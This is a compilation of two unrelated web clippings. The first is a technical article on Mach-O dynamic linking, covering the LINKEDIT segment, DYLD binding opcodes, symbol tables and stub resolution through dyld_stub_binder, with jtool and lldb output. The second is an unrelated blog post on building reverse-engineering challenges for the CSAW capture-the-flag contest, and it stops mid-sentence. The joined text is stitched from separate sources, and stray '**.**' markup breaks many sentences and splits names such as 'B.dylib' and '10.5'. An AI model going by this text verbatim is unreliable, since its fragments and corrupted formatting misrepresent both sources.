## Prerequisite: About Linking****

Nearly all binaries, in UN\*X and Windows systems alike, are dynamically
linked**.** The benefits of dynamic linking are many, and include:

  * _Code reuse:_ commonly used code can be extracted to a library, which is then shared by many clients
  *  _Easy updating:_ code residing in a library can easily be updated, and the library replaced, so long as the symbols are by and large the same**.** A classic example of this can be seen in Windows' "CreateWindow", which creates totally different-looking windows for the same application throughout Windows versions \(think Win95 vs**.** XP vs**.** 7-8\). The developer merely says "CreateWindow", not knowing how the window gets created**.** The OS does the rest, and different versions of the OS may do so differently**.**
  * _Reducing disk usage:_ as commonly used code now has only one copy, as opposed to having to include the code in every single binary which uses it**.**
  * _Reducing RAM usage:_ is by far, the most important advantage: A single copy of the library may be mmap\(2\)-ed into all processes, thereby only getting hit by the library's RAM usage once**.** The library code is usually marked r-x \(read only, executable\), so the same physical copy is implicitly shared by many consumers**.** This is crucial and saves immense amounts of memory, especially in RAM-challenged systems like Android**.**

UN\*X, whose de-facto standard format is ELF, uses ld\(1\) as the program
linker-loader, and the "**.** so" \(shared object\) files for libraries. OS X,
thinking differently, uses ".dylib" \(dynamic library\) files**.** The
standard nm\(1\) command is still supported, as are the dl\* APIs
\(dlopen\(3\), dlsym\(3\), etc\) - but the implementations are radically
different \(as is the nomenclature - what ld\(1\) calls "sections", DYLD calls
"segments", and further divides into sections\)**.** DYLD's source code is
open, but makes for a terrible read**.** DYLD offers many of the classic
ld\(1\) functions, and then some**.**

#### Nomenclature****

Throughout this article, the following terms are used:

  * _dylib:_ A dynamic library**.** Akin to a UN\*X shared object. A Mach-O object of type MH\_DYLIB \(0x6\), loaded into other executables by the LC\_LOAD\_DYLIB \(0xc\) Mach-O command or the dlopen\(3\) API**.** For the record, it's worth noting that OS X also supports the concept of a fixed library \(A Mach-o object of type MH\_FVMLIB \(0x3\) loaded into other executables by the LC\_LOADFVMLIB \(0x6\) command**.** Fixed libraries, however, are virtually extinct.
  * _symbol:_ A variable or function in a Mach-O file which may or may not be visible outside that file**.**
  * _binding:_ Connecting a symbol reference to its address in memory**.** Binding may be load-time, lazy \(deferred\) or \(missing/overridable\)**.** These can be controlled at compile time: ld's -bind\_at\_load specifies load-time binding, and \_\_attribute\(\(weak\_import\)\) for weak symbols**.** There is also an option to prebind libraries to fixed addresses \(-prebind switch of ld\) 

#### Tools**** :

Apple provides otool\(1\), dyldinfo\(1\) and pagestuff\(1\) - if you have
Xcode**.** If you don't, or - if you want to analyze Mach-O binaries on Linux
- you are welcome to use JTool instead
\(http://www.newosxbook.com/files/jtool.tar \)**.** This is an all-in-one
replacement for the above tools, with far more capable features, including an
experimental disassembler**.** The tar file contains an OS X and iOS version
bundled into one universal binary, as well as an ELF version \(for Linux
64-bit\)**.** It's free to download and use, and will remain so.

In the outputs shown, I've color coded: white is what you should type**.**
yellow is for my own annotations. Everything else is verbatim the output of
the commands**.**

## Calling external functions****

If you disassemble any Mach-O dynamically linked binary, you will no doubt
see, sooner or later, a call to an external function, supplied by some library
\(commonly, libSystem**.** B.dylib\). These calls are implemented as calls to
the Mach-O's symbol stub section**.** Consider the following example, from OS
X's /bin/ls:

[code]

    morpheus@Zephyr (~)$ otool -tV /bin/ls | grep stub
    
    0000000100000ab5        jmpq    0x100003fea ## symbol stub for: _strcoll
    ..
    0000000100000e49        callq   0x100003fd8 ## symbol stub for: _setlocale
    0000000100000e59        callq   0x100003f84 ## symbol stub for: _isatty
    0000000100000e73        callq   0x100003f4e ## symbol stub for: _getenv
    0000000100000e85        callq   0x100003ef4 ## symbol stub for: _atoi
    0000000100000e9c        callq   0x100003f7e ## symbol stub for: _ioctl
    0000000100000eca        callq   0x100003f4e ## symbol stub for: _getenv
    0000000100000ed7        callq   0x100003ef4 ## symbol stub for: _atoi
    0000000100000ee8        callq   0x100003f6c ## symbol stub for: _getuid
    0000000100000f40        callq   0x100003f5a ## symbol stub for: _getopt
    0000000100001073        callq   0x100003efa ## symbol stub for: _compat_mode
    00000001000010b1        callq   0x100003fd2 ## symbol stub for: _setenv
    ..
    0000000100003e6c	callq	0x100003f42 ## symbol stub for: _fwrite
    0000000100003e76	callq	0x100003f06 ## symbol stub for: _exit
    
    morpheus@Zephyr (~)$ jtool -l -v /bin/ls | grep stubs
       Mem: 0x100003e7c-0x10000403e	File: 0x00003e7c-0x0000403e		__TEXT**.** __stubs             	(Symbol Stubs)
    
    
    
[/code]

Following on the experiment from page 116\*\*, If you have gdb or lldb \(as of
Xcode 5\), you can use either to examine the contents of this "stub" section:

[code]

    morpheus@Zephyr (~) $ /Developer/usr/bin/lldb /bin/ls 
    Current executable set to '/bin/ls' (x86_64)**.**
    (lldb) x/i 0x100003fea
    0x100003fea:  ff 25 30 12 00 00  jmpq   *4656(%rip)
    (lldb) b 0x100003fea
    Breakpoint 1: address = 0x0000000100003fea
    (lldb) r  # run the process, to hit the breakpoint
    Process 1671 launched: '/bin/ls' (x86_64)
    Process 1671 stopped
    * thread #1: tid = 0x18105, 0x0000000100003fea ls`strcoll, queue = 'com.apple.main-thread, stop reason = breakpoint 1**.** 1
        frame #0: 0x0000000100003fea ls`strcoll
    ls`symbol stub for: strcoll:
    -> 0x100003fea:  jmpq   *4656(%rip)               ; (void *)0x00000001000042b2
    
    # Ok.. let's see what lies in 42b2..**.**
    (lldb) x/2i 0x00000001000042b2
    0x1000042b2:  68 60 04 00 00  pushq  $1120
    0x1000042b7:  e9 84 fd ff ff  jmpq   0x100004040
    
    
    
[/code]

The book goes on \(till page 121\) to explain how DYLD manages the stubs, and
populates them with the actual addresses of the functions, using
dyld\_stub\_binder**.** It does not, however, explain HOW that's done. This is
what we'll discuss here**.** But before we do, a bit about LINKEDIT:  
  

## DYLD\_INFO and LINKEDIT****

Starting with OS X 10**.** 5 or 10**.** 6, Apple decided to implement a
special segment in Mach-O files for DYLD's usage**.** This segment,
traditionally called \_\_LINKEDIT, consists of information used by DYLD in the
process of linking and binding symbols**.** This section is \(for the most
part\) meaningful only to DYLD - the kernel is completely oblivious to its
presence**.** DYLD relies on a special load command, DYLD\_INFO, to serve as a
"table of contents" for the segment**.** This can be seen with otool\(1\) or
jtool:

[code]

    $  jtool -l -v /bin/ls
    ..**.**
    
    LC 03: LC_SEGMENT_64          Mem: 0x100006000-0x100009000      File: 0x6000-0x87a0     __LINKEDIT
    LC 04: LC_DYLD_INFO_ONLY     
               Rebase info: 24    bytes at offset 24576 (0x6000-0x6018)
               Bind info:   104   bytes at offset 24600 (0x6018-0x6080)
               Lazy info:   1352  bytes at offset 24704 (0x6080-0x65c8)
            No Weak info
               Export info: 32    bytes at offset 26056 (0x65c8-0x65e8)
    LC 05: LC_SYMTAB                Symbol table is at offset 0x66c4, with 83 entries
    ..**.**
    
    
[/code]

Using jtool -v -l on a binary to display load commands, with a focus on the
\_\_LINKEDIT segment Jtool contains a useful option, --pages, which presents a
mapping of the Mach-O regions \(segments, sections, and load command data\),
somewhat similar to \(but more detailed than\) pagestuff\(1\)**.** This can be
used, among other things, to dump the contents of \_\_LINKEDIT:

[code]

    $  jtool --pages /bin/ls
    bash-3**.** 2# jtool --pages /bin/ls
    0x0-0x0	__PAGEZERO
    0x0-0x5000	__TEXT
    0x5000-0x6000	__DATA
    0x6000-0x87a0	__LINKEDIT
    	0x6000-0x6018	Rebase Info
    	0x6018-0x6080	Binding Info
    	0x6080-0x65c8	Lazy Bind Info
    	0x65c8-0x65e8	Exports
    	0x65e8-0x6620	Function Starts
    	0x6620-0x66c4	Code Signature DRS
    	0x66c4-0x6bf4	Symbol Table
    	0x6bf4-0x6e68	Indirect Symbol Table
    	0x6e68-0x7230	String Table
    	0x7230-0x87a0	Code signature
    
    
    
[/code]

Using jtool --pages on a sample binary As can be seen from the above output,
the general layout of the \_\_LINKEDIT is as follows: Indexed by
LC\_DYLD\_INFO| Rebase Info| Image rebase info - contains rebasing opcodes  
---|---|---  
Bind Info| Image symbol binding info for required import symbols  
Lazy Bind Info| Image symbol binding info for lazy import symbols**.** This
will be 0 for binaries compiled with ld's -bind\_at\_load  
Weak Bind Info| Image symbol binding info for weak import symbols  
Export Info| Image symbol binding info for symbols exported by this image  
Pointed to by LC\_SEGMENT\_SPLIT\_INFO| Segment Split, if any| Segment split
information  
Pointed to by LC\_FUNCTION\_STARTS| Function start information| Function start
point information \(ULEB128\)  
Pointed to by LC\_DATA\_IN\_CODE| Data regions in code| Data region
information \(ULEB128\)  
Pointed to by LC\_CODE\_SIGN\_DRS| Code Signing DRs| Code signing DRs of
dependent dylibs  
Pointed to by LC\_SYMTAB| Symbol Table| Table of symbols, in nlist format  
Pointed to by LC\_DYSYMTAB| Indirect Symbol Table| Table of indirect symbols  
| String Table| Array of symbol names  
Pointed to by LC\_CODE\_SIGNATURE| Code Signature| Code Signing blob
\(discussed in a future article\)  
Layout of \_\_LINKEDIT segment

DYLD makes extensive use of the ULEB128 encoding, which is \(in the author's
humble opinion\) a crude and stingy encoding method**.** Low level
implementors would be wide to familiarize themselves with the encoding, which
is also used in DWARF and other binary-related formats**.**

## DYLD OpCodes****

DYLD uses a special encoding - consisting of various "opcodes" \- to store and
load symbol binding information**.** These opcodes are used to populate the
rebase information and binding tables pointed to by the LC\_DYLD\_INFO
command**.** There are two types of opcodes: Rebasing opcodes and Binding
opcodes**.**

### Binding opcodes****

Binding opcodes \(used for both lazy and non-lazy symbols\) are defined in as
BIND\_xxx constants: DONE| 0x00| End of opcode list  
---|---|---  
SET\_DYLIB\_ORDINAL\_IMM| 0x10| Set dylib ordinal to immediate \(lower
4-bits\)**.** Used for ordinal numbers from 0-15  
SET\_DYLIB\_ORDINAL\_ULEB| 0x20| Set dylib ordinal to following ULEB128
encoding**.** Used for ordinal numbers from 16+  
SET\_DYLIB\_SPECIAL\_IMM| 0x30| Set dylib ordinal, with 0 or negative number
as immediate**.** the value is sign extended**.**  
Currently known values are:

  * BIND\_SPECIAL\_DYLIB\_SELF \(0\)
  * BIND\_SPECIAL\_DYLIB\_MAIN\_EXECUTABLE\(-1\)
  * BIND\_SEPCIAL\_DYLIB\_FLAT\_LOOKUP\(-2\)

  
SET\_SYMBOL\_TRAILING\_FLAGS\_IMM| 0x40| Set the following symbol \(NULL-
terminated char\[\]\)**.**  
The flags \(in the immediate value\) can be either  
BIND\_SYMBOL\_FLAGS\_WEAK\_IMPORT\(0\) or
BIND\_SYMBOL\_FLAGS\_NON\_WEAK\_DEFINITION\(8\)**.**  
SET\_TYPE\_IMM| 0x50| Set the type to immediate \(lower 4-bits\)**.** Known
types are:

  * TYPE\_POINTER \(most common\)
  * TYPE\_TEXT\_ABSOLUTE32
  * TYPE\_TEXT\_PCREL32

  
SET\_ADDEND\_SLEG| 0x60| Set the addend field to the following SLEB128
encoding**.**  
SET\_SEGMENT\_AND\_OFFSET\_ULEB| 0x70| Set Segment to immediate value, and
address to the following SLEB128 encoding  
ADD\_ADDR\_ULEB| 0x80| Set the address field to the following SLEB128
encoding**.**  
DO\_BIND| 0x90| Perform binding of current table row  
DO\_BIND\_ADD\_ADDR\_ULEB| 0xA0| Perform binding, also add following ULEB128
as address  
DO\_BIND\_ADD\_ADDR\_IMM\_SCALED| 0xB0| Perform binding, also add immediate
\(lower 4-bits\) using scaling  
DO\_BIND\_ADD\_ADDR\_ULEB\_TIMES\_SKIPPING\_ULEB| 0xC0| Perform binding for
several symbols \(as following ULEB128\),  
and skip several bytes \(as the ULEB128 which follows next\)**.** Rare.  
Each opcode is specified in the topmost 4-bits \(e**.** g. BIND\_OPCODE\_MASK
\(0xF0\) in **.** Arugments to opcodes are either the "immediate" values in
the lower 4-bits \(for those with \_IMM\), or follow the opcode byte in
ULEB128 notation for integers, or a character array
\(SET\_SYMBOL\_TRAILING\_FLAGS\_IMM\)**.**

The opcodes populate the individual columns of row entries in the binding
tables, with each row terminated by a DO\_BIND**.** Each row carries by
default the values of the previous row, and so an opcode is specified only if
the column value is changed in between two symbols**.** This allows for table
compression**.** The tables are a little bit different between the binding
symbols \(bind info\) and the lazy binding symbols \(lazy\_bind info\):

[code]

    bind information:
    segment section          address        type    addend dylib            symbol
    
    lazy binding information (from lazy_bind part of dyld info):
    segment section          address    index  dylib       
    
[/code]

For example, consider the following output from jtool \(or dyldinfo\)
-opcodes, annotated:

[code]

    0x0000 BIND_OPCODE_SET_DYLIB_ORDINAL_IMM(3)                                   # Sets DYLIB to #3 (3rd LC_LOAD_DYLIB, in this case libSystem)
    0x0001 BIND_OPCODE_SET_SYMBOL_TRAILING_FLAGS_IMM(0x00, __DefaultRuneLocale)   # Sets symbol name to __DefaultRuneLocale
    0x0016 BIND_OPCODE_SET_TYPE_IMM(1)                                            # Sets type to pointer
    0x0017 BIND_OPCODE_SET_SEGMENT_AND_OFFSET_ULEB(0x02, 0x00000000)              # Sets segment to segment #2 (__DATA)
    0x0019 BIND_OPCODE_DO_BIND()                                                  # Row done
    
    #
    # The second row will inherit all the values from the first, but override symbol name:
    #
    
    0x001A BIND_OPCODE_SET_SYMBOL_TRAILING_FLAGS_IMM(0x00, ___stack_chk_guard)    # Sets symbol name to __stack_chk_guard
    0x002E BIND_OPCODE_DO_BIND()
    
    #
    # Again, third row inherits all the values from second, save symbol name:
    
    0x002F BIND_OPCODE_SET_SYMBOL_TRAILING_FLAGS_IMM(0x00, ___stderrp)
    0x003B BIND_OPCODE_DO_BIND()
    ..
    
[/code]

The opcodes are used by our special friend, dyld\_stub\_binder, as we discuss
later**.** But before we can get to it, we have to make another segue to
explain the two types of symbol tables in Mach-O**.**

## Symbol Tables****

### The Symbol Table \(LC\_SYMTAB****\)

The Symbol Table in a Mach-O file is described in an LC\_SYMTAB command**.**
This command is defined in as follows: ` `

[code]

    struct symtab_command {
            uint32_t        cmd;            /* LC_SYMTAB */
            uint32_t        cmdsize;        /* sizeof(struct symtab_command) */
            uint32_t        symoff;         /* symbol table offset */
            uint32_t        nsyms;          /* number of symbol table entries */
            uint32_t        stroff;         /* string table offset */
            uint32_t        strsize;        /* string table size in bytes */
    };
    
[/code]

` ` This can be seen with jtool, using -l: ` `

[code]

    LC 05: LC_SYMTAB                Symbol table is at offset 0x66c4, with 83 entries
                                    String table is at offset 6e68, 968 bytes
    
[/code]

` ` The symbol table itself is an array of nsyms entries, each a struct nlist
or struct nlist\_64 - depending on the file type \(MH\_MAGIC or MH\_MAGIC\_64,
respectively\)**.** The nlist structures follow the BSD format, with some
minor modifications**.** The String Table is nothing more than an array of
NULL-terminated strings, which follow one another

### The Indirect Symbol Table \(LC\_DYSYMTAB****\)

The Indirect Symbol Table in a Mach-O file is described in an LC\_DYSYMTAB
command**.** This command details \(among other things\) the offset of this
table, and the number of symbols it contains**.** This can be seen with otool
\(or jtool\) -l, as follows: ` `

[code]

    ..
    LC 06: LC_DYSYMTAB           
              1 local symbols at index     0
              1 external symbols at index  1
             81 undefined symbols at index 2
                No TOC
                No modtab
            157 Indirect symbols at offset 0x6bf4
    ..
    
[/code]

` ` The indirect symbol table is, in fact, nothing more than an array of
indices into the main symbol table \(the one pointed to by LC\_SYMTAB\)**.**
Dumping the indirect symbol table is straightforward with jtool, by specifying
an offset \(or address\) inside the table:

[code]

    
    morpheus@Zephyr (~)$ jtool -do 0x6bf8 /bin/ls
    Dumping from offset 0x6bf8 (address 0x100006bf8, Segment: __LINKEDIT)
    Offset of address specified (100006bf8) falls within Indirect Symbol Table - dumping from beginning
    Entry 1: 0000002c       _humanize_number
    Entry 2: 00000047       _tgetent
    Entry 3: 00000048       _tgetstr
    Entry 4: 00000049       _tgoto
    Entry 5: 0000004b       _tputs
    Entry 6: 00000003       ___assert_rtn
    Entry 7: 00000004       ___error
    Entry 8: 00000005       ___maskrune
    ..**.**
    
    
    
[/code]

The indirect symbol table is used with two specific Mach-O sections - the
\_\_DATA**.** \_\_nl\_symbol\_ptr, and \_\_DATA.\_\_lazy\_symbol. We discuss
these next.

### \_\_DATA**.** \_\_nl\_symbol\_ptr and \_\_DATA.\_\_lazy\_symbol****

The \_\_DATA**.** \_\_nl\_symbol\_ptr section contains the "non-lazy" symbol
pointers**.** Recall, that binding of symbols can be performed either at load
time, or on first use**.** The "non lazy" pointers are those which must be
bound at load time \(that is, if binding is unsuccessful, the binary will fail
to load\)**.** The name of the section is somewhat of a convention, but it is
the section type \(0x06 - S\_NON\_LAZY\_SYMBOL\_POINTERS\) which defines its
contents**.** As for the section contents, they are detailed in
<mach-o/loader**.** h> as follows: ` `

[code]

    /*
     * For the two types of symbol pointers sections and the symbol stubs section
     * they have indirect symbol table entries**.**  For each of the entries in the
     * section the indirect symbol table entries, in corresponding order in the
     * indirect symbol table, start at the index stored in the reserved1 field
     * of the section structure**.**  Since the indirect symbol table entries
     * correspond to the entries in the section the number of indirect symbol table
     * entries is inferred from the size of the section divided by the size of the
     * entries in the section**.**  For symbol pointers sections the size of the entries
     * in the section is 4 bytes and for symbol stubs sections the byte size of the
     * stubs is stored in the reserved2 field of the section structure**.**
     */
    #define S_NON_LAZY_SYMBOL_POINTERS      0x6     /* section with only non-lazy
                                                       symbol pointers */
    #define S_LAZY_SYMBOL_POINTERS          0x7     /* section with only lazy symbol
                                                       pointers */
    #define S_SYMBOL_STUBS                  0x8     /* section with only symbol
                                                       stubs, byte size of stub in
                                                       the reserved2 field */
    
[/code]

` ` It is worth mentioning that \_\_nl\_symbol\_ptr is not the only "non-lazy"
section: The binary's Global Offset Table \(GOT\) is in its own section,
\_\_DATA**.** \_\_GOT, similarly marked with
S\_NON\_LAZY\_SYMBOL\_POINTERS**.** It's also noteworthy that only one of
these values is held in the section's flags field \(which erroneously implies
these are bit-flags - they are not, but there are some higher bit flags which
may be or'ed with these values\)**.** The \_\_DATA.\_\_lazy\_symbol section
contains lazy symbols**.** These are symbols which will be bound on first
use**.** The code to do so is in an additional section, referred to as the
_symbol stubs_**.** The "stubs" consist of boilerplate code, which is
naturally architecture dependent**.** Apple Developer's "OS X Assembler
Reference"4 details this well, but unfortunately only for the deprecated
PowerPC architecture**.** JTool's disassembler is almost fully functional for
ARM \(but still very partial for x86\_64\)**.** We therefore show the ARMv7
\(iOS\) case next**.**

### dyld\_stub\_binder and \_helper \(in iOS****\)

Stub resolution in iOS and OS X is practically the same**.** The \_\_TEXT**.**
\_\_stub\_helper contains a single function, which sets up a call to the
dyld\_stub\_binder according to the value pointed to by R12, a.k.a the Intra-
Procedural register\*\*\* **.** The other entries in stub\_helper are
trampolines to this function, each setting up R12 to hold the value of the
indirect symbol table entry corresponding to the function to be bound**.**
This is shown in the annotated jtool disassembly of ScreenShotr \(the screen
capture utility used by Xcode, from iOS's DeveloperDiskImage.dmg\), below: ` `

[code]

    morpheus@Zephyr(~)$ jtool -dA __TEXT**.** __stub_helper  ~/Documents/RE/ScreenShotr  # note -dA, to disassebmle ARM, not Thumb
    Disassembling from file offset 0x18d4, Address 0x28d4
    28d4    e52dc004        PUSH   IP               ; STR IP, [ SP, #-4 ]**!**           # PUSHes R12 onto the stack
    28d8    e59fc010        LDR    IP, [PC, 16]     ; R12 = *(28f0) = 0x7f8          # Load 
    28dc    e08fc00c        ADD    IP, PC, IP       ; R12 = 0x30dc                   # Correct R12 for PC-relative addressing
    28e0    e52dc004        PUSH   IP               ; STR IP, [ SP, #-4 ]**!**           # PUSHes R12 (0x30dc) onto the stack
    
    28e4    e59fc008        LDR    IP, [PC, 8]      ; R12 = *(28f4) = 0x7e8          # Load
    28e8    e08fc00c        ADD    IP, PC, IP       ; R12 = 0x30d8                   # Correct R12 for PC-relative addressing
    28ec    e59cf000        LDR    PC, [IP, 0]      ; R15 = *(30d8) dyld_stub_binder # goto dyld_stub_binder
    
    28f0    7f8             DCD    0x7f8            # Offset of 0x30dc, PC-relative
    28f4    7e8             DCD    0x7e8            # Offset of dyld_stub_binder, PC-relative
    ---------------------------------------------
    28f8    e59fc000        LDR    IP, [PC, 0]      ; R12 = *(2900) = 0x0  # Lazy binding opcode@0x0 (_IOSurfaceCreate)
    28fc    eafffff4        B      0xffffffd0       ; 0x28d4               # Jump to stub_handler
    2900    0               DCD    0                    
    ---------------------------------------------
    2904    e59fc000        LDR    IP, [PC, 0]      ; R12 = *(290c) = 0x17 # Lazy binding opcode@0x17 (_IOSurfaceGetBaseAddress)
    2908    eafffff1        B      0xffffffc4       ; 0x28d4               # Jump to stub_handler
    290c    17              DCD    0x17            
    ---------------------------------------------
    ..**.**
    
    morpheus@Zephyr(~)$ jtool -opcodes  ~/Documents/RE/ScreenShotr  # Can also use dyldinfo -opcodes, same output
    ..
    lazy binding opcodes:
    0x0000 BIND_OPCODE_SET_SEGMENT_AND_OFFSET_ULEB(0x02, 0x00000000)
    0x0002 BIND_OPCODE_SET_DYLIB_ORDINAL_IMM(2)
    0x0003 BIND_OPCODE_SET_SYMBOL_TRAILING_FLAGS_IMM(0x00, _IOSurfaceCreate)
    0x0015 BIND_OPCODE_DO_BIND()
    0x0016 BIND_OPCODE_DONE
    0x0017 BIND_OPCODE_SET_SEGMENT_AND_OFFSET_ULEB(0x02, 0x00000004)
    0x0019 BIND_OPCODE_SET_DYLIB_ORDINAL_IMM(2)
    0x001A BIND_OPCODE_SET_SYMBOL_TRAILING_FLAGS_IMM(0x00, _IOSurfaceGetBaseAddress)
    0x0034 BIND_OPCODE_DO_BIND()
    0x0035 BIND_OPCODE_DONE
    0x0036 BIND_OPCODE_SET_SEGMENT_AND_OFFSET_ULEB(0x02, 0x00000008)
    0x0038 BIND_OPCODE_SET_DYLIB_ORDINAL_IMM(2)
    0x0039 BIND_OPCODE_SET_SYMBOL_TRAILING_FLAGS_IMM(0x00, _IOSurfaceLock)
    0x0049 BIND_OPCODE_DO_BIND()
    0x004A BIND_OPCODE_DONE
    0x004B BIND_OPCODE_SET_SEGMENT_AND_OFFSET_ULEB(0x02, 0x0000000C)
    0x004D BIND_OPCODE_SET_DYLIB_ORDINAL_IMM(2)
    0x004E BIND_OPCODE_SET_SYMBOL_TRAILING_FLAGS_IMM(0x00, _IOSurfaceUnlock)
    0x0060 BIND_OPCODE_DO_BIND()
    
    
    
[/code]

` ` dyld\_stub\_binder is exported by libSystem**.** B.dylib, though in
actuality it is a re-export from /usr/lib/system/libdyld.dylib**.** Using
Jtool again, we can see: ` `

[code]

    morpheus@Zephyr(~)$ ARCH=armv7s jtool -dA dyld_stub_binder /Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS7**.** 0.sdk/usr/lib/system/libdyld.dylib
    dyld_stub_binder:
    # coming into this function, we have two arguments on the stack: 
    # *SP     = Offset into bind information
    # *(SP+4) = 0x30c4 - Address of image loader cache
    10cc    e92d408f        PUSH   {R0,R1,R2,R3,R7,LR} ; SP -= 24           # save registers    
    10d0    e28d7010        ADD    R7, SP, #0x10       ; R7 = SP + 0x10 (point to previous R7)
    10d4    e59d0018        LDR    R0, [SP, 24]        ; R0 = *(SP + 0x18) = *(Initial_SP)
    10d8    e59d101c        LDR    R1, [SP, 28]        ; R1 = *(SP + 0x1c) = *(Initial_SP + 4) 
    10dc    fa0001ef        BLX    0x7bc               ; 0x18a0 __Z21_dyld_fast_stub_entryPvl
    10e0    e1a0c000        MOV    IP, R0	 	   ;                      
    ; IP = dyld_fast_sub_entry (void *, long)
    10e4    e8bd408f        POP    {R0,R1,R2,R3,R7,LR}                      # restore registers     
    10e8    e28dd008        ADD    SP, SP, #0x8        ; SP  = 0x8          # Clear stack
    10ec    e12fff1c        BX     IP                                       # Jump to bound symbol
    
[/code]

` ` Jtool's disassembly is corroborated by DYLD's source, which surprisingly
enough contains an \#if \_\_arm\_\_ statement for iOS 5 which Apple has not
removed**.** If you're following with x86\_64 \(e.g. with /bin/ls\), the
0x100004040 from the lldb example is the trampoline to dyld\_stub\_binder**.**
In other words, the code will look something like this when you break on
0x100004040: ` `

[code]

    * thread #1: tid = 0x185f7, 0x0000000100004040 ls, queue = 'com.apple.main-thread, stop reason = breakpoint 1**.** 1
        frame #0: 0x0000000100004040 ls
    # stack already contains the offset into the LINKEDIT bind information, which is different per symbol**.**
    # When we get here, this is common code, and we further push the address of the cache:
    -> 0x100004040:  leaq   4073(%rip), %r11          ; (void *)0x0000000000000000
       0x100004047:  pushq  %r11
       0x100004049:  jmpq   *4057(%rip)               ; (void *)0x00007fff8c80e878: dyld_stub_binder
       0x10000404f:  nop    
    
[/code]

` `

Hopefully, this fills in the missing pieces, showing you not just what symbols
are bound, but HOW they are bound**.** I hope to provide more information
about LINKEDIT \(specifically, the juicy parts of codesigning**.** You are
always welcome to go online at the Book Forum  and comment, ask questions,
etc**.**

## Footnotes****

\* \(something I heard several times already by now as a criticism is a "lack
of detail" \- considering that Wiley restricted the book originally to 500
pages, I'm very lucky to have been able to extend it to the 800 pages it is -
but some things just had to be left out, folks.. which is why I'm providing
lots of extra content on the website..\)  
  
\*\* - While we're on the subject, there's a typo in page 116 \(should be
"using Xcode's dyldinfo\(1\) **or** nm\(1\)**.** One of the all too many
omissions and editorial mistakes inserted, ironically, by the copy editor**.**
Incidentally, nm\(1\) only shows the symbols, not where they are located**.**
You might want to try jtool's -S feature \(cloning nm\(1\)\) with -v**.**  
  
\*\*\* - This is a register which the ARM ABI allows for use in between
functions/procedures**.** ****

# Matasano Security LLC - Chargen - Exercises for a burgeoning Army of Ninjas

**Created:**| _1/22/2010 4:35:05 PM_  
---|---  
**Updated:**| _1/22/2010 4:35:21 PM_  
**Author:**| __  
**Tags:**| _ctf_  
  

## Exercises for a burgeoning Army of Ninjas

JAN 20, 2010 AT 6:36PMSTEPHEN

At SourceBoston 2009 fellow New Yorker Dan Guido did a talk entitled “So You
Want to Train an Army of Ninjas”. Dan’s talk was on his experience organizing
the CSAW competitions at NYU:Polytechnic. If you are unfamiliar with the
annual awesomeness that the ISIS program at NYU:Poly puts together, you can
read more about the whole event here. To quote someone on twitter “If all of
school was like \[the program at NYU:Poly\] maybe I wouldn’t have dropped
out.”

This is an excellent little video summary of the competition:

CSAW 2009 - The Judge’s Perspective from NYU-Poly on Vimeo.

The competition portion of the event is loosely modeled after the Defcon
Capture the Flag competitions of recent years. This past year, the CSAW-CTF
competition brought talent from all around the world together during the
National Cyber Security Awareness Month which is celebrated at NYU:Poly as
CSAW \(Cyber Security Awareness Week\)

In 2008 when I was asked by Dan to help out I was very eager. That year, my
involvement with CSAW-CTF was limited to just a few small challenges \(instead
I focused on teaching a Reverse Engineering class at NYU that year which Aaron
Portnoy took over for this year\). This year \(2009\) however, I went a little
more “head down” and spent a bit more time designing, coding, and building
reverse engineering challenges for the CSAW-CTF. This blog post is about those
challenges.

Times have changed, and these competitions have evolved and matured much like
the rest of our “industry”. They are no longer about who can whip out their
graffiti’d laptops, mount their sticker laden Zip drives from linux, and use
gcc to compile stuff from their packetstorm, rhino9,rootshell.org, or
hack.co.za archives. Times have changed. The games are different now and don’t
so much deserve to be the target of smug self-righteous vitriol from jaded old
security folks.

This became really obvious to me in 2005 when Kenshoto premiered a new kind of
Capture the Flag for Defcon that year. Players that year said that they could
really tell that despite Kenshoto’s showmanship \(and at times,
ostentatiousness\), all the members \(mostly invisig0th, who is responsible
for really spear-heading the whole effort\) really loved what they did and
wanted to share in the fun of software exploitation and reversing. All the
challenges were custom made and well documented. They required source auditing
skill, custom shellcode payloads, and reverse engineering skill. During the
qualifying rounds \(a month or so before Defcon\) there was also an
interactive scoreboard, MUD and IRC channel for all the players and organizers
to use. This drew players in to world of the game a bit more and allowed teams
and organizers to “hang out” all in one place and keep up-to-date on scores
and rankings.

That year, and in the following years following, some big hitters came out to
play: Mark Dowd and John McDonald \(who ruxxed the quals round in 2005\);
Chris Eagle and the Naval Post-Graduate Warfare College; Giovanni Vigna and
the UCSB team; the SAIC team, the Novell Team, some great international teams;
and number of Fortune 500 technology companies \(and government agencies\)
that wished to remain nameless ;-\) Kenshoto and John Viega \(a Kenshoto
member\) even got an article in Popular Science that year.

Having been a member of Kenshoto, I really wanted to bring a bit of that
spirit to the NYU:Poly CSAW-CTF. The NYU-Poly competitions had a number of
different competition categories which included Web Security, Application
Security, Forensics, and Embedded Systems.

Myself, Dino Dai Zovi \(who blogged briefly about his CSAW experience and even
talked about it on the local news\), and Dean DeBeer were all responsible for
judging and organizing the “Application Security” parts of the competition.
Dino Dai Zovi \(an alumnus of Matasano and fellow New Yorker\) designed all
the Software Exploitation challenges and I designed all the Reverse
Engineering challenges.

You can read about the full format of the competition online at the csaw
website, but essentially the competition happened in two waves: \(1\) a
qualifying round where anyone could participate, and \(2\) a final round where
all the top teams that qualified and were enrolled at universities within the
US would be flown to New York and put up in a fancy hotel to participate in
the final round held on the NYU:Poly campuses.

The Scoring System:

First things first. How to keep track of scores? A stupid web app? The honor
system? Email based submissions?Due to the sheer number of participants I
decided that any kind of manual or qualitative scoring system would be a
nightmare. Reverse engineering challenges seemed to lend themselves nicely to
“token” based scoring so I decided to go that route and to build an automated
scoring system. The scoreboard was written in Python and ran as the default
shell for an “open” user account to be shared amongst all participants.
Competitors were dropped into the BBS-style scoreboard system when they ssh’d
into the box.<img src='img/Temp2_5248.png' />They would then authenticate to
the scoreboard system itself \(which maintained it’s own credentials\).

<img src='img/Temp2_5251.png' />

The scoring system internally used a client/server model. The server ran at a
higher privilege level than the client and communication between the two was
all done using python RMI. This was intended to localize the damage if anyone
had a clever way of breaking out of the python interpreter. If they were, it
would be harder to directly access the scoring database files directly,
because all those operations were performed by the server on behalf of the
client who made requests via RMI. The scoring system allowed competitors to
check scores, read about flags and challenges, and submit/check their answers.

<img src='img/Temp2_5252.png' />

Other than that there isn’t anything really noteworthy about the scoring
system. Source code for that is all available online here. Now let’s get on to
the Reversing challenges.

For the qualifying round of the competition I put together 8 challenges. The
9th and final challenge would be completely different than all the others and
was saved for the Final Round which took place on the NYU:Poly campuses. Each
